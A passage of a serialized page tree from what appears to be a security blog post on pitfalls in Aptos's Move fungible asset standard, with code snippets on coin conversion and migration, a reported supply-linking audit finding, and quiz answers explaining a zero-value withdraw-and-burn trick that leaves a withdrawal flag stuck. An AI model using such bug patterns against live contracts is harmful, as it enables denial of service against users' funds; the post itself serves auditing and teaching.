":264,"props":67844,"children":67845},{"style":4722},[67846],{"type":27,"value":62883},{"type":22,"tag":264,"props":67848,"children":67849},{"style":1539},[67850],{"type":27,"value":7097},{"type":22,"tag":264,"props":67852,"children":67853},{"style":4722},[67854],{"type":27,"value":7279},{"type":22,"tag":264,"props":67856,"children":67857},{"style":1539},[67858],{"type":27,"value":7923},{"type":22,"tag":264,"props":67860,"children":67861},{"style":1549},[67862],{"type":27,"value":21613},{"type":22,"tag":264,"props":67864,"children":67865},{"style":4309},[67866],{"type":27,"value":5785},{"type":22,"tag":264,"props":67868,"children":67869},{"style":4722},[67870],{"type":27,"value":7151},{"type":22,"tag":264,"props":67872,"children":67873},{"style":1539},[67874],{"type":27,"value":4380},{"type":22,"tag":264,"props":67876,"children":67877},{"style":1549},[67878],{"type":27,"value":67301},{"type":22,"tag":264,"props":67880,"children":67881},{"style":4309},[67882],{"type":27,"value":5785},{"type":22,"tag":264,"props":67884,"children":67885},{"style":4309},[67886],{"type":27,"value":8434},{"type":22,"tag":264,"props":67888,"children":67889},{"style":4722},[67890],{"type":27,"value":66747},{"type":22,"tag":264,"props":67892,"children":67893},{"style":1539},[67894],{"type":27,"value":2806},{"type":22,"tag":264,"props":67896,"children":67897},{"style":4309},[67898],{"type":27,"value":5785},{"type":22,"tag":264,"props":67900,"children":67901},{"style":4722},[67902],{"type":27,"value":62862},{"type":22,"tag":264,"props":67904,"children":67905},{"style":1549},[67906],{"type":27,"value":8860},{"type":22,"tag":264,"props":67908,"children":67909},{"style":1539},[67910],{"type":27,"value":24333},{"type":22,"tag":264,"props":67912,"children":67913},{"style":4309},[67914],{"type":27,"value":10889},{"type":22,"tag":264,"props":67916,"children":67917},{"style":1539},[67918],{"type":27,"value":63088},{"type":22,"tag":264,"props":67920,"children":67921},{"class":1534,"line":1642},[67922,67926,67930,67934],{"type":22,"tag":264,"props":67923,"children":67924},{"style":4401},[67925],{"type":27,"value":67680},{"type":22,"tag":264,"props":67927,"children":67928},{"style":1539},[67929],{"type":27,"value":2660},{"type":22,"tag":264,"props":67931,"children":67932},{"style":4293},[67933],{"type":27,"value":9469},{"type":22,"tag":264,"props":67935,"children":67936},{"style":1539},[67937],{"type":27,"value":5142},{"type":22,"tag":264,"props":67939,"children":67940},{"class":1534,"line":1660},[67941,67945,67949],{"type":22,"tag":264,"props":67942,"children":67943},{"style":1539},[67944],{"type":27,"value":64040},{"type":22,"tag":264,"props":67946,"children":67947},{"style":4309},[67948],{"type":27,"value":10889},{"type":22,"tag":264,"props":67950,"children":67951},{"style":1539},[67952],{"type":27,"value":13071},{"type":22,"tag":264,"props":67954,"children":67955},{"class":1534,"line":1668},[67956,67960,67964,67968],{"type":22,"tag":264,"props":67957,"children":67958},{"style":4401},[67959],{"type":27,"value":67715},{"type":22,"tag":264,"props":67961,"children":67962},{"style":1539},[67963],{"type":27,"value":2660},{"type":22,"tag":264,"props":67965,"children":67966},{"style":4293},[67967],{"type":27,"value":273},{"type":22,"tag":264,"props":67969,"children":67970},{"style":1539},[67971],{"type":27,"value":5142},{"type":22,"tag":264,"props":67973,"children":67974},{"class":1534,"line":1677},[67975,67979,67983,67987,67991,67995,67999,68003,68007,68011],{"type":22,"tag":264,"props":67976,"children":67977},{"style":1539},[67978],{"type":27,"value":67283},{"type":22,"tag":264,"props":67980,"children":67981},{"style":4309},[67982],{"type":27,"value":4785},{"type":22,"tag":264,"props":67984,"children":67985},{"style":4401},[67986],{"type":27,"value":67292},{"type":22,"tag":264,"props":67988,"children":67989},{"style":1539},[67990],{"type":27,"value":2660},{"type":22,"tag":264,"props":67992,"children":67993},{"style":1549},[67994],{"type":27,"value":67301},{"type":22,"tag":264,"props":67996,"children":67997},{"style":1539},[67998],{"type":27,"value":4380},{"type":22,"tag":264,"props":68000,"children":68001},{"style":1549},[68002],{"type":27,"value":7232},{"type":22,"tag":264,"props":68004,"children":68005},{"style":1539},[68006],{"type":27,"value":4380},{"type":22,"tag":264,"props":68008,"children":68009},{"style":1549},[68010],{"type":27,"value":21613},{"type":22,"tag":264,"props":68012,"children":68013},{"style":1539},[68014],{"type":27,"value":4463},{"type":22,"tag":264,"props":68016,"children":68017},{"class":1534,"line":1686},[68018],{"type":22,"tag":264,"props":68019,"children":68020},{"style":1539},[68021],{"type":27,"value":1692},{"type":22,"tag":23,"props":68023,"children":68024},{},[68025],{"type":27,"value":68026},"At first glance, this code appears valid, but not to an astute reader.",{"type":22,"tag":67508,"props":68028,"children":68029},{},[68030,68035],{"type":22,"tag":23,"props":68031,"children":68032},{},[68033],{"type":27,"value":68034},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":22,"tag":67539,"props":68036,"children":68037},{"v-slot:answer-0":7},[68038,68058],{"type":22,"tag":23,"props":68039,"children":68040},{},[68041,68043,68048,68050,68056],{"type":27,"value":68042},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":22,"tag":257,"props":68044,"children":68046},{"className":68045},[],[68047],{"type":27,"value":62833},{"type":27,"value":68049}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":22,"tag":257,"props":68051,"children":68053},{"className":68052},[],[68054],{"type":27,"value":68055},"fungible_asset::destroy_zero",{"type":27,"value":68057},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":22,"tag":23,"props":68059,"children":68060},{},[68061],{"type":27,"value":68062},"It's important to understand all the features in the standard.",{"type":22,"tag":169,"props":68064,"children":68066},{"id":68065},"migrating-from-coins-to-fungible-assets",[68067],{"type":27,"value":68068},"Migrating from coins to fungible assets",{"type":22,"tag":23,"props":68070,"children":68071},{},[68072,68074,68079],{"type":27,"value":68073},"If a fungible asset is considered an upgrade to ",{"type":22,"tag":257,"props":68075,"children":68077},{"className":68076},[],[68078],{"type":27,"value":62288},{"type":27,"value":68080},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":22,"tag":68082,"props":68083,"children":68084},"note",{},[68085],{"type":22,"tag":23,"props":68086,"children":68087},{},[68088,68090,68095,68097,68102],{"type":27,"value":68089},"While the ",{"type":22,"tag":257,"props":68091,"children":68093},{"className":68092},[],[68094],{"type":27,"value":62288},{"type":27,"value":68096}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":22,"tag":257,"props":68098,"children":68100},{"className":68099},[],[68101],{"type":27,"value":62288},{"type":27,"value":210},{"type":22,"tag":23,"props":68104,"children":68105},{},[68106,68107,68113,68115,68120,68122,68127],{"type":27,"value":17914},{"type":22,"tag":257,"props":68108,"children":68110},{"className":68109},[],[68111],{"type":27,"value":68112},"coin_to_fungible_asset",{"type":27,"value":68114}," converting function automatically generates a corresponding fungible asset for a ",{"type":22,"tag":257,"props":68116,"children":68118},{"className":68117},[],[68119],{"type":27,"value":62288},{"type":27,"value":68121}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":22,"tag":257,"props":68123,"children":68125},{"className":68124},[],[68126],{"type":27,"value":62288},{"type":27,"value":68128}," is not allowed.",{"type":22,"tag":618,"props":68130,"children":68132},{"className":4274,"code":68131,"language":4273,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[68133],{"type":22,"tag":257,"props":68134,"children":68135},{"__ignoreMap":7},[68136,68164,68191,68227,68260,68293,68329],{"type":22,"tag":264,"props":68137,"children":68138},{"class":1534,"line":1535},[68139,68143,68147,68152,68156,68160],{"type":22,"tag":264,"props":68140,"children":68141},{"style":1549},[68142],{"type":27,"value":62997},{"type":22,"tag":264,"props":68144,"children":68145},{"style":1549},[68146],{"type":27,"value":7499},{"type":22,"tag":264,"props":68148,"children":68149},{"style":1549},[68150],{"type":27,"value":68151}," coin_to_fungible_asset",{"type":22,"tag":264,"props":68153,"children":68154},{"style":1539},[68155],{"type":27,"value":7097},{"type":22,"tag":264,"props":68157,"children":68158},{"style":4722},[68159],{"type":27,"value":7876},{"type":22,"tag":264,"props":68161,"children":68162},{"style":1539},[68163],{"type":27,"value":7881},{"type":22,"tag":264,"props":68165,"children":68166},{"class":1534,"line":1545},[68167,68171,68175,68179,68183,68187],{"type":22,"tag":264,"props":68168,"children":68169},{"style":1549},[68170],{"type":27,"value":62507},{"type":22,"tag":264,"props":68172,"children":68173},{"style":4309},[68174],{"type":27,"value":5785},{"type":22,"tag":264,"props":68176,"children":68177},{"style":4722},[68178],{"type":27,"value":7092},{"type":22,"tag":264,"props":68180,"children":68181},{"style":1539},[68182],{"type":27,"value":7097},{"type":22,"tag":264,"props":68184,"children":68185},{"style":4722},[68186],{"type":27,"value":7876},{"type":22,"tag":264,"props":68188,"children":68189},{"style":1539},[68190],{"type":27,"value":7284},{"type":22,"tag":264,"props":68192,"children":68193},{"class":1534,"line":1560},[68194,68198,68202,68206,68210,68215,68219,68223],{"type":22,"tag":264,"props":68195,"children":68196},{"style":1539},[68197],{"type":27,"value":2806},{"type":22,"tag":264,"props":68199,"children":68200},{"style":4309},[68201],{"type":27,"value":5785},{"type":22,"tag":264,"props":68203,"children":68204},{"style":4722},[68205],{"type":27,"value":62862},{"type":22,"tag":264,"props":68207,"children":68208},{"style":1549},[68209],{"type":27,"value":8860},{"type":22,"tag":264,"props":68211,"children":68212},{"style":4722},[68213],{"type":27,"value":68214}," CoinConversionMap",{"type":22,"tag":264,"props":68216,"children":68217},{"style":1539},[68218],{"type":27,"value":4380},{"type":22,"tag":264,"props":68220,"children":68221},{"style":4722},[68222],{"type":27,"value":8006},{"type":22,"tag":264,"props":68224,"children":68225},{"style":1539},[68226],{"type":27,"value":4594},{"type":22,"tag":264,"props":68228,"children":68229},{"class":1534,"line":1569},[68230,68234,68239,68243,68248,68252,68256],{"type":22,"tag":264,"props":68231,"children":68232},{"style":4293},[68233],{"type":27,"value":4296},{"type":22,"tag":264,"props":68235,"children":68236},{"style":1549},[68237],{"type":27,"value":68238}," metadata",{"type":22,"tag":264,"props":68240,"children":68241},{"style":4309},[68242],{"type":27,"value":4312},{"type":22,"tag":264,"props":68244,"children":68245},{"style":1549},[68246],{"type":27,"value":68247}," ensure_paired_metadata",{"type":22,"tag":264,"props":68249,"children":68250},{"style":1539},[68251],{"type":27,"value":7097},{"type":22,"tag":264,"props":68253,"children":68254},{"style":4722},[68255],{"type":27,"value":7876},{"type":22,"tag":264,"props":68257,"children":68258},{"style":1539},[68259],{"type":27,"value":9746},{"type":22,"tag":264,"props":68261,"children":68262},{"class":1534,"line":1583},[68263,68267,68272,68276,68281,68285,68289],{"type":22,"tag":264,"props":68264,"children":68265},{"style":4293},[68266],{"type":27,"value":4296},{"type":22,"tag":264,"props":68268,"children":68269},{"style":1549},[68270],{"type":27,"value":68271}," amount",{"type":22,"tag":264,"props":68273,"children":68274},{"style":4309},[68275],{"type":27,"value":4312},{"type":22,"tag":264,"props":68277,"children":68278},{"style":4401},[68279],{"type":27,"value":68280}," burn_internal",{"type":22,"tag":264,"props":68282,"children":68283},{"style":1539},[68284],{"type":27,"value":2660},{"type":22,"tag":264,"props":68286,"children":68287},{"style":1549},[68288],{"type":27,"value":62255},{"type":22,"tag":264,"props":68290,"children":68291},{"style":1539},[68292],{"type":27,"value":5142},{"type":22,"tag":264,"props":68294,"children":68295},{"class":1534,"line":1603},[68296,68300,68304,68309,68313,68317,68321,68325],{"type":22,"tag":264,"props":68297,"children":68298},{"style":1539},[68299],{"type":27,"value":67283},{"type":22,"tag":264,"props":68301,"children":68302},{"style":4309},[68303],{"type":27,"value":4785},{"type":22,"tag":264,"props":68305,"children":68306},{"style":4401},[68307],{"type":27,"value":68308},"mint_internal",{"type":22,"tag":264,"props":68310,"children":68311},{"style":1539},[68312],{"type":27,"value":2660},{"type":22,"tag":264,"props":68314,"children":68315},{"style":1549},[68316],{"type":27,"value":63634},{"type":22,"tag":264,"props":68318,"children":68319},{"style":1539},[68320],{"type":27,"value":4380},{"type":22,"tag":264,"props":68322,"children":68323},{"style":1549},[68324],{"type":27,"value":21613},{"type":22,"tag":264,"props":68326,"children":68327},{"style":1539},[68328],{"type":27,"value":4463},{"type":22,"tag":264,"props":68330,"children":68331},{"class":1534,"line":1612},[68332],{"type":22,"tag":264,"props":68333,"children":68334},{"style":1539},[68335],{"type":27,"value":1692},{"type":22,"tag":23,"props":68337,"children":68338},{},[68339,68341,68348],{"type":27,"value":68340},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":22,"tag":69,"props":68342,"children":68345},{"href":68343,"rel":68344},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[73],[68346],{"type":27,"value":68347},"noticed an overlooked detail",{"type":27,"value":68349}," in the linking process.",{"type":22,"tag":618,"props":68351,"children":68353},{"className":4274,"code":68352,"language":4273,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[68354],{"type":22,"tag":257,"props":68355,"children":68356},{"__ignoreMap":7},[68357,68372,68392,68409,68465,68486,68506,68526,68556,68583,68590],{"type":22,"tag":264,"props":68358,"children":68359},{"class":1534,"line":1535},[68360,68364,68368],{"type":22,"tag":264,"props":68361,"children":68362},{"style":1539},[68363],{"type":27,"value":5045},{"type":22,"tag":264,"props":68365,"children":68366},{"style":4309},[68367],{"type":27,"value":10889},{"type":22,"tag":264,"props":68369,"children":68370},{"style":1539},[68371],{"type":27,"value":13071},{"type":22,"tag":264,"props":68373,"children":68374},{"class":1534,"line":1545},[68375,68379,68383,68388],{"type":22,"tag":264,"props":68376,"children":68377},{"style":1539},[68378],{"type":27,"value":63931},{"type":22,"tag":264,"props":68380,"children":68381},{"style":4309},[68382],{"type":27,"value":4785},{"type":22,"tag":264,"props":68384,"children":68385},{"style":4401},[68386],{"type":27,"value":68387},"create_primary_store_enabled_fungible_asset",{"type":22,"tag":264,"props":68389,"children":68390},{"style":1539},[68391],{"type":27,"value":4767},{"type":22,"tag":264,"props":68393,"children":68394},{"class":1534,"line":1560},[68395,68400,68405],{"type":22,"tag":264,"props":68396,"children":68397},{"style":4309},[68398],{"type":27,"value":68399},"    &",{"type":22,"tag":264,"props":68401,"children":68402},{"style":1549},[68403],{"type":27,"value":68404},"metadata_object_cref",{"type":22,"tag":264,"props":68406,"children":68407},{"style":1539},[68408],{"type":27,"value":4812},{"type":22,"tag":264,"props":68410,"children":68411},{"class":1534,"line":1569},[68412,68417,68421,68426,68430,68435,68439,68443,68448,68452,68456,68460],{"type":22,"tag":264,"props":68413,"children":68414},{"style":1539},[68415],{"type":27,"value":68416},"    option",{"type":22,"tag":264,"props":68418,"children":68419},{"style":4309},[68420],{"type":27,"value":4785},{"type":22,"tag":264,"props":68422,"children":68423},{"style":4401},[68424],{"type":27,"value":68425},"map",{"type":22,"tag":264,"props":68427,"children":68428},{"style":1539},[68429],{"type":27,"value":2660},{"type":22,"tag":264,"props":68431,"children":68432},{"style":1549},[68433],{"type":27,"value":68434},"coin_supply",{"type":22,"tag":264,"props":68436,"children":68437},{"style":1539},[68438],{"type":27,"value":7097},{"type":22,"tag":264,"props":68440,"children":68441},{"style":4722},[68442],{"type":27,"value":7876},{"type":22,"tag":264,"props":68444,"children":68445},{"style":1539},[68446],{"type":27,"value":68447},">(), ",{"type":22,"tag":264,"props":68449,"children":68450},{"style":4309},[68451],{"type":27,"value":11714},{"type":22,"tag":264,"props":68453,"children":68454},{"style":1549},[68455],{"type":27,"value":4385},{"type":22,"tag":264,"props":68457,"children":68458},{"style":4309},[68459],{"type":27,"value":11714},{"type":22,"tag":264,"props":68461,"children":68462},{"style":1539},[68463],{"type":27,"value":68464}," MAX_U128),\n",{"type":22,"tag":264,"props":68466,"children":68467},{"class":1534,"line":1583},[68468,68473,68477,68481],{"type":22,"tag":264,"props":68469,"children":68470},{"style":1549},[68471],{"type":27,"value":68472},"    name",{"type":22,"tag":264,"props":68474,"children":68475},{"style":1539},[68476],{"type":27,"value":7097},{"type":22,"tag":264,"props":68478,"children":68479},{"style":4722},[68480],{"type":27,"value":7876},{"type":22,"tag":264,"props":68482,"children":68483},{"style":1539},[68484],{"type":27,"value":68485},">(),\n",{"type":22,"tag":264,"props":68487,"children":68488},{"class":1534,"line":1603},[68489,68494,68498,68502],{"type":22,"tag":264,"props":68490,"children":68491},{"style":1549},[68492],{"type":27,"value":68493},"    symbol",{"type":22,"tag":264,"props":68495,"children":68496},{"style":1539},[68497],{"type":27,"value":7097},{"type":22,"tag":264,"props":68499,"children":68500},{"style":4722},[68501],{"type":27,"value":7876},{"type":22,"tag":264,"props":68503,"children":68504},{"style":1539},[68505],{"type":27,"value":68485},{"type":22,"tag":264,"props":68507,"children":68508},{"class":1534,"line":1612},[68509,68514,68518,68522],{"type":22,"tag":264,"props":68510,"children":68511},{"style":1549},[68512],{"type":27,"value":68513},"    decimals",{"type":22,"tag":264,"props":68515,"children":68516},{"style":1539},[68517],{"type":27,"value":7097},{"type":22,"tag":264,"props":68519,"children":68520},{"style":4722},[68521],{"type":27,"value":7876},{"type":22,"tag":264,"props":68523,"children":68524},{"style":1539},[68525],{"type":27,"value":68485},{"type":22,"tag":264,"props":68527,"children":68528},{"class":1534,"line":1621},[68529,68534,68538,68543,68547,68552],{"type":22,"tag":264,"props":68530,"children":68531},{"style":1539},[68532],{"type":27,"value":68533},"    string",{"type":22,"tag":264,"props":68535,"children":68536},{"style":4309},[68537],{"type":27,"value":4785},{"type":22,"tag":264,"props":68539,"children":68540},{"style":4401},[68541],{"type":27,"value":68542},"utf8",{"type":22,"tag":264,"props":68544,"children":68545},{"style":1539},[68546],{"type":27,"value":2660},{"type":22,"tag":264,"props":68548,"children":68549},{"style":1597},[68550],{"type":27,"value":68551},"b\"\"",{"type":22,"tag":264,"props":68553,"children":68554},{"style":1539},[68555],{"type":27,"value":8029},{"type":22,"tag":264,"props":68557,"children":68558},{"class":1534,"line":1629},[68559,68563,68567,68571,68575,68579],{"type":22,"tag":264,"props":68560,"children":68561},{"style":1539},[68562],{"type":27,"value":68533},{"type":22,"tag":264,"props":68564,"children":68565},{"style":4309},[68566],{"type":27,"value":4785},{"type":22,"tag":264,"props":68568,"children":68569},{"style":4401},[68570],{"type":27,"value":68542},{"type":22,"tag":264,"props":68572,"children":68573},{"style":1539},[68574],{"type":27,"value":2660},{"type":22,"tag":264,"props":68576,"children":68577},{"style":1597},[68578],{"type":27,"value":68551},{"type":22,"tag":264,"props":68580,"children":68581},{"style":1539},[68582],{"type":27,"value":8029},{"type":22,"tag":264,"props":68584,"children":68585},{"class":1534,"line":1642},[68586],{"type":22,"tag":264,"props":68587,"children":68588},{"style":1539},[68589],{"type":27,"value":5142},{"type":22,"tag":264,"props":68591,"children":68592},{"class":1534,"line":1660},[68593,68597,68601],{"type":22,"tag":264,"props":68594,"children":68595},{"style":1539},[68596],{"type":27,"value":5045},{"type":22,"tag":264,"props":68598,"children":68599},{"style":4309},[68600],{"type":27,"value":10889},{"type":22,"tag":264,"props":68602,"children":68603},{"style":1539},[68604],{"type":27,"value":13071},{"type":22,"tag":23,"props":68606,"children":68607},{},[68608,68610,68615],{"type":27,"value":68609},"When the linked fungible asset was created, the current ",{"type":22,"tag":257,"props":68611,"children":68613},{"className":68612},[],[68614],{"type":27,"value":62288},{"type":27,"value":68616}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":22,"tag":23,"props":68618,"children":68619},{},[68620,68622,68627,68629,68635,68637,68642],{"type":27,"value":68621},"Users can manually migrate their ",{"type":22,"tag":257,"props":68623,"children":68625},{"className":68624},[],[68626],{"type":27,"value":62450},{"type":27,"value":68628}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":22,"tag":257,"props":68630,"children":68632},{"className":68631},[],[68633],{"type":27,"value":68634},"\u003CCoinStore\u003CCoinType>>",{"type":27,"value":68636}," from the caller. All coins in the ",{"type":22,"tag":257,"props":68638,"children":68640},{"className":68639},[],[68641],{"type":27,"value":62450},{"type":27,"value":68643}," are exchanged and transferred to the new store during the migration.",{"type":22,"tag":618,"props":68645,"children":68647},{"className":4274,"code":68646,"language":4273,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[68648],{"type":22,"tag":257,"props":68649,"children":68650},{"__ignoreMap":7},[68651,68659,68691,68711,68747,68788],{"type":22,"tag":264,"props":68652,"children":68653},{"class":1534,"line":1535},[68654],{"type":22,"tag":264,"props":68655,"children":68656},{"style":4284},[68657],{"type":27,"value":68658},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":22,"tag":264,"props":68660,"children":68661},{"class":1534,"line":1545},[68662,68666,68670,68674,68679,68683,68687],{"type":22,"tag":264,"props":68663,"children":68664},{"style":1549},[68665],{"type":27,"value":62997},{"type":22,"tag":264,"props":68667,"children":68668},{"style":1549},[68669],{"type":27,"value":63964},{"type":22,"tag":264,"props":68671,"children":68672},{"style":1549},[68673],{"type":27,"value":7499},{"type":22,"tag":264,"props":68675,"children":68676},{"style":1549},[68677],{"type":27,"value":68678}," migrate_to_fungible_store",{"type":22,"tag":264,"props":68680,"children":68681},{"style":1539},[68682],{"type":27,"value":7097},{"type":22,"tag":264,"props":68684,"children":68685},{"style":4722},[68686],{"type":27,"value":7876},{"type":22,"tag":264,"props":68688,"children":68689},{"style":1539},[68690],{"type":27,"value":7881},{"type":22,"tag":264,"props":68692,"children":68693},{"class":1534,"line":1560},[68694,68698,68702,68706],{"type":22,"tag":264,"props":68695,"children":68696},{"style":1549},[68697],{"type":27,"value":26484},{"type":22,"tag":264,"props":68699,"children":68700},{"style":4309},[68701],{"type":27,"value":5785},{"type":22,"tag":264,"props":68703,"children":68704},{"style":4309},[68705],{"type":27,"value":8434},{"type":22,"tag":264,"props":68707,"children":68708},{"style":1549},[68709],{"type":27,"value":68710},"signer\n",{"type":22,"tag":264,"props":68712,"children":68713},{"class":1534,"line":1569},[68714,68718,68722,68726,68730,68735,68739,68743],{"type":22,"tag":264,"props":68715,"children":68716},{"style":1539},[68717],{"type":27,"value":4390},{"type":22,"tag":264,"props":68719,"children":68720},{"style":1549},[68721],{"type":27,"value":7636},{"type":22,"tag":264,"props":68723,"children":68724},{"style":4722},[68725],{"type":27,"value":62471},{"type":22,"tag":264,"props":68727,"children":68728},{"style":1539},[68729],{"type":27,"value":4380},{"type":22,"tag":264,"props":68731,"children":68732},{"style":4722},[68733],{"type":27,"value":68734},"CoinConversionMap",{"type":22,"tag":264,"props":68736,"children":68737},{"style":1539},[68738],{"type":27,"value":4380},{"type":22,"tag":264,"props":68740,"children":68741},{"style":4722},[68742],{"type":27,"value":8006},{"type":22,"tag":264,"props":68744,"children":68745},{"style":1539},[68746],{"type":27,"value":4594},{"type":22,"tag":264,"props":68748,"children":68749},{"class":1534,"line":1583},[68750,68755,68759,68763,68768,68772,68776,68780,68784],{"type":22,"tag":264,"props":68751,"children":68752},{"style":1549},[68753],{"type":27,"value":68754},"    maybe_convert_to_fungible_store",{"type":22,"tag":264,"props":68756,"children":68757},{"style":1539},[68758],{"type":27,"value":7097},{"type":22,"tag":264,"props":68760,"children":68761},{"style":4722},[68762],{"type":27,"value":7876},{"type":22,"tag":264,"props":68764,"children":68765},{"style":1539},[68766],{"type":27,"value":68767},">(signer",{"type":22,"tag":264,"props":68769,"children":68770},{"style":4309},[68771],{"type":27,"value":4785},{"type":22,"tag":264,"props":68773,"children":68774},{"style":4401},[68775],{"type":27,"value":8502},{"type":22,"tag":264,"props":68777,"children":68778},{"style":1539},[68779],{"type":27,"value":2660},{"type":22,"tag":264,"props":68781,"children":68782},{"style":1549},[68783],{"type":27,"value":14251},{"type":22,"tag":264,"props":68785,"children":68786},{"style":1539},[68787],{"type":27,"value":8516},{"type":22,"tag":264,"props":68789,"children":68790},{"class":1534,"line":1603},[68791],{"type":22,"tag":264,"props":68792,"children":68793},{"style":1539},[68794],{"type":27,"value":1692},{"type":22,"tag":23,"props":68796,"children":68797},{},[68798,68800,68805,68807,68812],{"type":27,"value":68799},"A curious reader might wonder about the fate of the ",{"type":22,"tag":257,"props":68801,"children":68803},{"className":68802},[],[68804],{"type":27,"value":62450},{"type":27,"value":68806}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":22,"tag":257,"props":68808,"children":68810},{"className":68809},[],[68811],{"type":27,"value":62450},{"type":27,"value":68813}," to ensure consistency.",{"type":22,"tag":67508,"props":68815,"children":68816},{},[68817,68836],{"type":22,"tag":23,"props":68818,"children":68819},{},[68820,68822,68827,68829,68834],{"type":27,"value":68821},"Could an attacker convert their ",{"type":22,"tag":257,"props":68823,"children":68825},{"className":68824},[],[68826],{"type":27,"value":62450},{"type":27,"value":68828}," to a primary fungible store and then register another ",{"type":22,"tag":257,"props":68830,"children":68832},{"className":68831},[],[68833],{"type":27,"value":62450},{"type":27,"value":68835}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":22,"tag":67539,"props":68837,"children":68838},{"v-slot:answer-0":7},[68839],{"type":22,"tag":23,"props":68840,"children":68841},{},[68842],{"type":27,"value":68843},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":22,"tag":169,"props":68845,"children":68846},{"id":30246},[68847],{"type":27,"value":20252},{"type":22,"tag":23,"props":68849,"children":68850},{},[68851,68853,68858],{"type":27,"value":68852},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":22,"tag":257,"props":68854,"children":68856},{"className":68855},[],[68857],{"type":27,"value":62288},{"type":27,"value":210},{"type":22,"tag":23,"props":68860,"children":68861},{},[68862],{"type":27,"value":68863},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":22,"tag":23,"props":68865,"children":68866},{},[68867,68869],{"type":27,"value":68868},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":22,"tag":16773,"props":68870,"children":68871},{},[68872],{"type":22,"tag":69,"props":68873,"children":68875},{"href":30937,"ariaDescribedBy":68874,"dataFootnoteRef":7,"id":30939},[16780],[68876],{"type":27,"value":602},{"type":22,"tag":19725,"props":68878,"children":68880},{"className":68879,"dataFootnotes":7},[19728],[68881,68886],{"type":22,"tag":169,"props":68882,"children":68884},{"className":68883,"id":16780},[19733],[68885],{"type":27,"value":19736},{"type":22,"tag":1867,"props":68887,"children":68888},{},[68889],{"type":22,"tag":1871,"props":68890,"children":68891},{"id":31680},[68892,68894,68936],{"type":27,"value":68893},"There are at least four functions that can withdraw a fungible asset:",{"type":22,"tag":17988,"props":68895,"children":68896},{},[68897,68907,68916,68926],{"type":22,"tag":1871,"props":68898,"children":68899},{},[68900],{"type":22,"tag":69,"props":68901,"children":68905},{"href":68902,"rel":68903,":style":68904},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[73],"color: #007bff;",[68906],{"type":27,"value":65589},{"type":22,"tag":1871,"props":68908,"children":68909},{},[68910],{"type":22,"tag":69,"props":68911,"children":68914},{"href":68912,"rel":68913,":style":68904},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[73],[68915],{"type":27,"value":67529},{"type":22,"tag":1871,"props":68917,"children":68918},{},[68919],{"type":22,"tag":69,"props":68920,"children":68923},{"href":68921,"rel":68922,":style":68904},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[73],[68924],{"type":27,"value":68925},"primary_fungible_store::withdraw",{"type":22,"tag":1871,"props":68927,"children":68928},{},[68929],{"type":22,"tag":69,"props":68930,"children":68933},{"href":68931,"rel":68932,":style":68904},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[73],[68934],{"type":27,"value":68935},"coin::withdraw",{"type":22,"tag":69,"props":68937,"children":68939},{"href":31708,"ariaLabel":19839,"className":68938,"dataFootnoteBackref":7},[19841],[68940],{"type":27,"value":19844},{"type":22,"tag":4139,"props":68942,"children":68943},{},[68944],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":68946},[68947,68948,68949,68952,68957,68958,68959,68960],{"id":62274,"depth":1545,"text":62277},{"id":62819,"depth":1545,"text":62822},{"id":63379,"depth":1545,"text":63382,"children":68950},[68951],{"id":63890,"depth":1560,"text":63893},{"id":64147,"depth":1545,"text":64150,"children":68953},[68954,68955,68956],{"id":64190,"depth":1560,"text":64193},{"id":64895,"depth":1560,"text":64898},{"id":66553,"d